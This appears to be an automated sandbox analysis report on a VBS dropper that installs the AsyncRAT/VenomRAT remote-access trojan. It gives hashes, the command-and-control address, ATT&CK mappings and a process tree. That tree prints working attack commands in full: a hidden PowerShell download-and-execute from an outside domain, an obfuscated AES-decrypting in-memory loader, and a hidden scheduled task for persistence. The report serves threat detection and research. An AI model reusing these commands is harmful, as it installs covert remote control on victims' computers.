asyncrat | f24da1d458f078adf96dca79955313eea5cfe7a6a36334b1352553a31928cec6

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-12-2024 03:18

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General

Target

f24da1d458f078adf96dca79955313eea5cfe7a6a36334b1352553a31928cec6.vbs
Size

78KB
MD5

ab631b79a8f6cc0f48e17765c33c8fee
SHA1

539298c574b25b70379fccd8c47c3dbee5184877
SHA256

f24da1d458f078adf96dca79955313eea5cfe7a6a36334b1352553a31928cec6
SHA512

0e5818d2c4eca342c7b8ece7c8f14028e34d00e2c83f0d3c72ceaeb0380fc568ceb02df8e5743b9a691d85cc462863bceb68ccb1cf499994fe0e523debe6e550
SSDEEP

1536:rtYq5Mv5eaBf+kvAQKCidRC0Xe6Tw/LP5KU52t+gN4:lmRea3vAWGOyZsu4

Score

10^/10

asyncrat venomrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

45.149.241.239:1978

Mutex

ewdlylafhlapsawrztd

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 1 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/memory/2276-64-0x00000281EDCE0000-0x00000281EDCF8000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/2276-64-0x00000281EDCE0000-0x00000281EDCF8000-memory.dmp	family_asyncrat

Blocklisted process makes network request 5 IoCs

flow	pid	Process
36	2276	powershell.exe
40	2276	powershell.exe
47	2276	powershell.exe
48	2276	powershell.exe
49	2276	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3176	powershell.exe
4224	powershell.exe
4960	powershell.exe
2276	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3176	powershell.exe
3176	powershell.exe
4224	powershell.exe
4224	powershell.exe
4960	powershell.exe
4960	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe
2276	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3176	powershell.exe
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeIncreaseQuotaPrivilege	4960	powershell.exe
Token: SeSecurityPrivilege	4960	powershell.exe
Token: SeTakeOwnershipPrivilege	4960	powershell.exe
Token: SeLoadDriverPrivilege	4960	powershell.exe
Token: SeSystemProfilePrivilege	4960	powershell.exe
Token: SeSystemtimePrivilege	4960	powershell.exe
Token: SeProfSingleProcessPrivilege	4960	powershell.exe
Token: SeIncBasePriorityPrivilege	4960	powershell.exe
Token: SeCreatePagefilePrivilege	4960	powershell.exe
Token: SeBackupPrivilege	4960	powershell.exe
Token: SeRestorePrivilege	4960	powershell.exe
Token: SeShutdownPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeSystemEnvironmentPrivilege	4960	powershell.exe
Token: SeRemoteShutdownPrivilege	4960	powershell.exe
Token: SeUndockPrivilege	4960	powershell.exe
Token: SeManageVolumePrivilege	4960	powershell.exe
Token: 33	4960	powershell.exe
Token: 34	4960	powershell.exe
Token: 35	4960	powershell.exe
Token: 36	4960	powershell.exe
Token: SeIncreaseQuotaPrivilege	4960	powershell.exe
Token: SeSecurityPrivilege	4960	powershell.exe
Token: SeTakeOwnershipPrivilege	4960	powershell.exe
Token: SeLoadDriverPrivilege	4960	powershell.exe
Token: SeSystemProfilePrivilege	4960	powershell.exe
Token: SeSystemtimePrivilege	4960	powershell.exe
Token: SeProfSingleProcessPrivilege	4960	powershell.exe
Token: SeIncBasePriorityPrivilege	4960	powershell.exe
Token: SeCreatePagefilePrivilege	4960	powershell.exe
Token: SeBackupPrivilege	4960	powershell.exe
Token: SeRestorePrivilege	4960	powershell.exe
Token: SeShutdownPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeSystemEnvironmentPrivilege	4960	powershell.exe
Token: SeRemoteShutdownPrivilege	4960	powershell.exe
Token: SeUndockPrivilege	4960	powershell.exe
Token: SeManageVolumePrivilege	4960	powershell.exe
Token: 33	4960	powershell.exe
Token: 34	4960	powershell.exe
Token: 35	4960	powershell.exe
Token: 36	4960	powershell.exe
Token: SeIncreaseQuotaPrivilege	4960	powershell.exe
Token: SeSecurityPrivilege	4960	powershell.exe
Token: SeTakeOwnershipPrivilege	4960	powershell.exe
Token: SeLoadDriverPrivilege	4960	powershell.exe
Token: SeSystemProfilePrivilege	4960	powershell.exe
Token: SeSystemtimePrivilege	4960	powershell.exe
Token: SeProfSingleProcessPrivilege	4960	powershell.exe
Token: SeIncBasePriorityPrivilege	4960	powershell.exe
Token: SeCreatePagefilePrivilege	4960	powershell.exe
Token: SeBackupPrivilege	4960	powershell.exe
Token: SeRestorePrivilege	4960	powershell.exe
Token: SeShutdownPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeSystemEnvironmentPrivilege	4960	powershell.exe
Token: SeRemoteShutdownPrivilege	4960	powershell.exe
Token: SeUndockPrivilege	4960	powershell.exe
Token: SeManageVolumePrivilege	4960	powershell.exe
Token: 33	4960	powershell.exe
Token: 34	4960	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2276	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 3176	2580	WScript.exe	85
PID 2580 wrote to memory of 3176	2580	WScript.exe	85
PID 2580 wrote to memory of 1764	2580	WScript.exe	104
PID 2580 wrote to memory of 1764	2580	WScript.exe	104
PID 1764 wrote to memory of 2216	1764	cmd.exe	106
PID 1764 wrote to memory of 2216	1764	cmd.exe	106
PID 1764 wrote to memory of 4224	1764	cmd.exe	107
PID 1764 wrote to memory of 4224	1764	cmd.exe	107
PID 4224 wrote to memory of 4960	4224	powershell.exe	108
PID 4224 wrote to memory of 4960	4224	powershell.exe	108
PID 4224 wrote to memory of 2712	4224	powershell.exe	111
PID 4224 wrote to memory of 2712	4224	powershell.exe	111
PID 2712 wrote to memory of 4736	2712	WScript.exe	112
PID 2712 wrote to memory of 4736	2712	WScript.exe	112
PID 4736 wrote to memory of 624	4736	cmd.exe	114
PID 4736 wrote to memory of 624	4736	cmd.exe	114
PID 4736 wrote to memory of 2276	4736	cmd.exe	115
PID 4736 wrote to memory of 2276	4736	cmd.exe	115

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f24da1d458f078adf96dca79955313eea5cfe7a6a36334b1352553a31928cec6.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xZeq9DIcMp8T9I70bsZRE1uAqlMKnnwxo9STrCb0BJQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wSiqGPKdEt2A2oq502N0Dw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WbLZH=New-Object System.IO.MemoryStream(,$param_var); $YROuh=New-Object System.IO.MemoryStream; $FnRtc=New-Object System.IO.Compression.GZipStream($WbLZH, [IO.Compression.CompressionMode]::Decompress); $FnRtc.CopyTo($YROuh); $FnRtc.Dispose(); $WbLZH.Dispose(); $YROuh.Dispose(); $YROuh.ToArray();}function execute_function($param_var,$param2_var){ $JFUbC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vIQTp=$JFUbC.EntryPoint; $vIQTp.Invoke($null, $param2_var);}$LMlhd = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $LMlhd;$qwcXI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LMlhd).Split([Environment]::NewLine);foreach ($RYDhX in $qwcXI) { if ($RYDhX.StartsWith('qSryZxtgHRJoDBkXgCTa')) { $MiSte=$RYDhX.Substring(20); break; }}$payloads_var=[string[]]$MiSte.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:2216
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_538_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_538.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4960
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_538.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2712
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_538.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4736
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xZeq9DIcMp8T9I70bsZRE1uAqlMKnnwxo9STrCb0BJQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wSiqGPKdEt2A2oq502N0Dw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WbLZH=New-Object System.IO.MemoryStream(,$param_var); $YROuh=New-Object System.IO.MemoryStream; $FnRtc=New-Object System.IO.Compression.GZipStream($WbLZH, [IO.Compression.CompressionMode]::Decompress); $FnRtc.CopyTo($YROuh); $FnRtc.Dispose(); $WbLZH.Dispose(); $YROuh.Dispose(); $YROuh.ToArray();}function execute_function($param_var,$param2_var){ $JFUbC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vIQTp=$JFUbC.EntryPoint; $vIQTp.Invoke($null, $param2_var);}$LMlhd = 'C:\Users\Admin\AppData\Roaming\Windows_Log_538.bat';$host.UI.RawUI.WindowTitle = $LMlhd;$qwcXI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LMlhd).Split([Environment]::NewLine);foreach ($RYDhX in $qwcXI) { if ($RYDhX.StartsWith('qSryZxtgHRJoDBkXgCTa')) { $MiSte=$RYDhX.Substring(20); break; }}$payloads_var=[string[]]$MiSte.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:624
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2276

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b66db53846de4860ca72a3e59b38c544

SHA1
2202dc88e9cddea92df4f4e8d83930efd98c9c5a

SHA256
b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030

SHA512
72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dwte3ih3.ezk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
69KB

MD5
9a7ec81cc371860d03b51764e8eade97

SHA1
3a22f9120587dc2fc84765efde70586fd0775fdf

SHA256
20a77dbb7b4438cc9cfa45e1a3de33b7100b039ca7f8838a12d09273f55dbe3e

SHA512
9d3a4c525b0f811ab9fb57787c16ce32dcba714fea558c5f3364703a20f232ece58a83c0edf3294a62d92ce52b3878f50f1c30ef6687d1e37e855f0f069331bb

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_538.vbs

Filesize
115B

MD5
0f86d8fd56ca6c0f4a45c0045b2e10bb

SHA1
ff155f7306627420dbe2a7e8aa9c861e2d54a384

SHA256
9e056b9676aab20e77e41286b9401057f2a77aa212bc063f8d26bcb2df0113f5

SHA512
c3262d2e87a9619403a13f9e891d3dba906fae2bca36031f5bdc1328916a19a927fa56654538f8b5ff62797e93ea4ec02c127f7e39d3e5f0c0d20306e21bbe8c

Download Submit
memory/2276-64-0x00000281EDCE0000-0x00000281EDCF8000-memory.dmp

Filesize
96KB

Download
memory/3176-12-0x00007FF91E910000-0x00007FF91F3D1000-memory.dmp

Filesize
10.8MB

Download
memory/3176-17-0x00007FF91E910000-0x00007FF91F3D1000-memory.dmp

Filesize
10.8MB

Download
memory/3176-16-0x00007FF91E910000-0x00007FF91F3D1000-memory.dmp

Filesize
10.8MB

Download
memory/3176-13-0x00007FF91E910000-0x00007FF91F3D1000-memory.dmp

Filesize
10.8MB

Download
memory/3176-0-0x00007FF91E913000-0x00007FF91E915000-memory.dmp

Filesize
8KB

Download
memory/3176-11-0x00007FF91E910000-0x00007FF91F3D1000-memory.dmp

Filesize
10.8MB

Download
memory/3176-10-0x00000286D55B0000-0x00000286D55D2000-memory.dmp

Filesize
136KB

Download
memory/4224-32-0x0000029753DE0000-0x0000029753E24000-memory.dmp

Filesize
272KB

Download
memory/4224-33-0x0000029753EB0000-0x0000029753F26000-memory.dmp

Filesize
472KB

Download
memory/4224-34-0x0000029753DB0000-0x0000029753DB8000-memory.dmp

Filesize
32KB

Download
memory/4224-35-0x0000029753DC0000-0x0000029753DD2000-memory.dmp

Filesize
72KB

Download